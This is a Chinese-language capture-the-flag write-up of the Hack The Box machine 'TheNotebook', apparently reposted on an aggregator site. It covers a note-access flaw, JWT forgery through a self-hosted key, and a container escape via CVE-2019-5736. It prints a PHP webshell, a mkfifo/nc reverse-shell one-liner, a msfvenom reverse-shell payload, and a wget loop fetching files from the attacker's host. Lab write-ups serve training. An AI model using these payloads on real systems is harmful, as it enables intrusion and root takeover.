HTB-TheNotebook

这篇具有很好参考价值的文章主要介绍了HTB-TheNotebook。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

HTB-TheNotebook

信息收集

HTB-TheNotebook
HTB-TheNotebook

80端口

HTB-TheNotebook
存在一个登录和注册用户业务。先看看登录业务,在登录中如果我输入不存在的用户就会出现: Login Failed! Reason: User doesn’t exist.
HTB-TheNotebook
如果是存在的用户就会出现: Login Failed! Reason: Incorrect Password
HTB-TheNotebook
接着去测试了一下注册业务。
HTB-TheNotebook
脑子浮现出三种可能:二次注入、hydra暴力破解admin密码、SQL/NoSQL注入。一个一个来吧,hydra挂后台,先试二次注入。但是通过简单的测试发现SQL/NOSQL和二次注入似乎不成立。(hydra还在后台努力着)
HTB-TheNotebook

不过我在对网站进行抓包时发现了一个有趣的东西。我们首先注册一个用户tom,目标会给我们一个设置两个cookie一个是auth猜测是tom的复杂身份证,第二个uuid猜测是tom的简单身份证。
HTB-TheNotebook
当我们使用notes业务时,网站会导航向/tom的简易身份证/notes格式来使用notes业务。
HTB-TheNotebook
在tom帐号内创建两个notes。

HTB-TheNotebook

记住tom的uuid(简易身份证),退出登录创建新的用户jerry并登录,然后访问notes时将tom的uuid替换掉jerry的uuid,就能以jerry的身份访问tom的notes。

HTB-TheNotebook

JWT攻击

如果我们能知道admin或者test用户的uuid就能读取他们的notes。先放在这万一有用,你看那个auth的cookie开头是ey,可能是jwt,丢到jwt.io看看。
HTB-TheNotebook

JWT header中的alg是加密算法、typ是类型、kid是指定加密算法的密钥,该密钥的位置是本地的7070端口中的privKey.key。payload中"admin_cap": false似乎是用来判断是否为管理员的。因为要伪造满足条件的JWT,需要在本地创建一个RSA RS256密钥,要和JWT中的密钥相同才能伪造验证,所以我们要创建一个admin_cap:true的JWT。首先要在本地创建一个创建一个kid,然后修改admin_cap:true就可以了。

在本地生成一个长度为2048的RS256 rsa密钥:openssl genrsa -out rsa-private-key.pem 2048,并且使用python建立一个简易的http服务。
HTB-TheNotebook

HTB-TheNotebook

然后来到jwt.io,选择RS256加密,接着添加必要的信息。

HTB-TheNotebook
最后在tom的登录状态下,修改tom的auth JWT,目标通过获取我们伪造的kid与JWT中的private核对,成功后获得管理员身份。
HTB-TheNotebook

在admin面板,有两个选择一个是查看notes,一个是上传文档。notes中貌似就管理员留下的fix config和管理员配置了定期备份可以注意一下。
HTB-TheNotebook

接着就是上传文件,通过上传phpinfo测试是否执行php代码。
HTB-TheNotebook

立足

上传webshell。

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

HTB-TheNotebook
它每隔几分钟会删除上传的文件,不过不怎么影响。

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.31 443 >/tmp/f

HTB-TheNotebook

www-data -> noah

有备份是个好习惯,但是需要注意备份的权限管理。在/var找到一个backups。
HTB-TheNotebook
有趣的是,管理员把home也备份了一遍。

HTB-TheNotebook
将home的备份文件传输过去后解压打开可以看到noah用户的ssh私钥,使用私钥登录。
HTB-TheNotebook

noah -> root

HTB-TheNotebook

/usr/bin/docker exec -it webapp-dev01*
#***命令解释***
/usr/bin/docker exec -在docker容器中执行命令
-i :即使没有附加也保持STDIN 打开
-t :分配一个伪终端
/usr/bin/docker exec -it webapp-dev01* 就是在webapp-dev01*容器中分配一个伪终端并可以输入。

查找镜像和容器均没权限。HTB-TheNotebook
查看本地tcp端口。

HTB-TheNotebook
嗷,容器名字就叫webapp-dev01
HTB-TheNotebook

查看docker版本并寻找可能存在的exploit。HTB-TheNotebook
HTB-TheNotebook

简单来说该漏洞通过从容器内覆盖和执行主机系统 runc 二进制文件来实现。原来PoC要使用到的命令我们并没有权限,所以要换一个利用方法。根据Dockerfile所述,我们需要/overwrite_runc、/replace.sh,以及一些替换操作。
HTB-TheNotebooknew_runc是overwrite_runc运行所需的。

HTB-TheNotebook
new_runc内容看起来是这个样子的。
HTB-TheNotebook
也就是说bash_evil、new_runc、overwrite_runc、replace.sh这四个文件是必要的。根据代码推测new_runc是很重要的,在malicious_image_POC的Dockerfile中看到一句话。

HTB-TheNotebook
因为环境不同所以我们对new_runc进行修改,尝试将其替换为reverse shell。

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.31 LPORT=4444 -f elf -o new_runc

然后把这四个弄过去,记得新开一个SSH。

for i in {bash_evil,new_runc,overwrite_runc,replace.sh};do wget http://10.10.14.31:8000/$i;done

HTB-TheNotebook

然后修改相关文件权限。

HTB-TheNotebook
接着跟着exec_POC的Dockerfile走。

HTB-TheNotebook

最后执行replace。
HTB-TheNotebook
OK,目前为止在容器中要进行的操作已经完成了,接下来就是新开的SSH中需要完成的操作。因为我们能执行的操作只有sudo docker exec -it webapp-dev01*,并且此漏洞主要是覆盖并执行。
HTB-TheNotebook
HTB-TheNotebook

所以sudo docker exec -it webapp-dev01 /bin/bash_original做到上述所说诱骗它执行自身。

HTB-TheNotebook
过了一会连上了,但有什么在清理脚本,动作要快。
HTB-TheNotebook
HTB-TheNotebook
HTB-TheNotebook

这篇文章很详细的介绍了CVE-2019-5736的原理。文章来源地址https://www.toymoban.com/news/detail-431671.html

到了这里,关于HTB-TheNotebook的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • HTB-Passage

    powered by CuteNews。 目标似乎拥有WAFIDS,对其进行目录扫描有点困难。并且第一篇贴纸就说明了开启了Fail2Ban。 可以通过几篇文章收集几个用户及其邮箱。 主界面有一个RSS。 点进去后url变成了/CuteNews/rss.php。 跳转到上一级出现了CuteNews的管理系统界面。 并且知道了CuteNews的具体

    2023年04月11日
    浏览(25)
  • HTB靶场 Shared

    靶场地址:Hack The Box 进入靶场地址之后,先连接靶场网络 点击右上角连接按钮 弹出窗口,选择第一个免费的选项SG FREE1 然后选择第一个选项 默认选项点击下载,将连接配置文件下载下来 之后在kali上命令行内使用命令直接连接 看到complete,还有刷新hackthebox也页面发现已经在

    2024年02月01日
    浏览(41)
  • HTB靶场之-inject

    攻击机:虚拟机kali。 靶机:Inject,htb网站:https://www.hackthebox.com/,靶机地址:https://app.hackthebox.com/machines/Inject。 知识点:ansible提权(非漏洞提权)、本地文件包含漏洞、CVE-2022-22963、敏感信息发现。 使用nmap扫描下端口对应的服务:nmap -T4 -sV -p22,80,8080,3306 -A 10.10.11.204,显示

    2024年02月04日
    浏览(34)
  • HTB-Nineveh

    目录扫描 /info.php目录 目录扫描 这完全没头绪,估计是信息收集漏了东西,重新来一遍。 哈,我就知道。 当我输入admin会发现抱错变成了密码不可用,说明admin用户存在。 没有任何提示,尝试一下hydra的暴力破解。 多了张图片 secure_notes 。 对443登录进行hydra暴力破解, hydra

    2024年02月01日
    浏览(28)
  • htb inject

    2024年02月05日
    浏览(21)
  • HTB-DevOops

    根据文字所述,下面的图片是feed.py。 目录扫描 /upload如下: 上传测试xml文件。 得到反馈 怀疑是标签不匹配,尝试寻找匹配的标签。前面首页有提示: XML elements: Author, Subject, Content 。 构造XML如下: XEE利用,外部实体访问/etc/passwd。 找找看feed.py在哪里,就在当前目录下。 有

    2023年04月26日
    浏览(27)
  • HTB靶场:简单inject

    扫描后显示服务和端口信息8080和22 1)有上传文件功能 简单上传了几个文件(txt,img等 上传过程根据参数简单测试了rce和注入发现无回显并且不对猜测可能不是此考点、转换思路上传的图片) 2)上传图片会显示路径。 3)看到有路径猜测是否可跨目录文件包含,试后发现有并

    2024年02月09日
    浏览(19)
  • HTB-Keeper

    80主页给了一个跳转的链接 跟随链接后到了一个登陆界面。 尝试搜索默认密码。 通过账号root:password登录。不知道为什么我登陆了两次才成功。 通过搜索在Admin-Users-Select里面发现了用户信息。 使用账号lnorgaard:Welcome2023!通过ssh登录目标。 lnorgaard的桌面文件有一个zip文件。 有

    2024年02月13日
    浏览(27)
  • HackTheBox(HTB) Bagel WriteUp

    Writer: SomeB0dy Time:2023/2/20

    2024年02月10日
    浏览(39)
  • HTB-oopsie靶场练习

    靶机地址: 10.129.130.57 攻击机地址: 10.10.14.185 端口扫描 访问10.129.130.57, 对一些可能有用的信息进行记录 打开 burp , 刷新网页, 点击 HTTP history ,注意到/cdn-cgi/login/script.js 试着访问http://10.129.130.57/cdn-cgi/login/script.js,页面没有内容 访问http://10.129.130.57/cdn-cgi/login/,发现登录后台

    2024年02月09日
    浏览(26)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包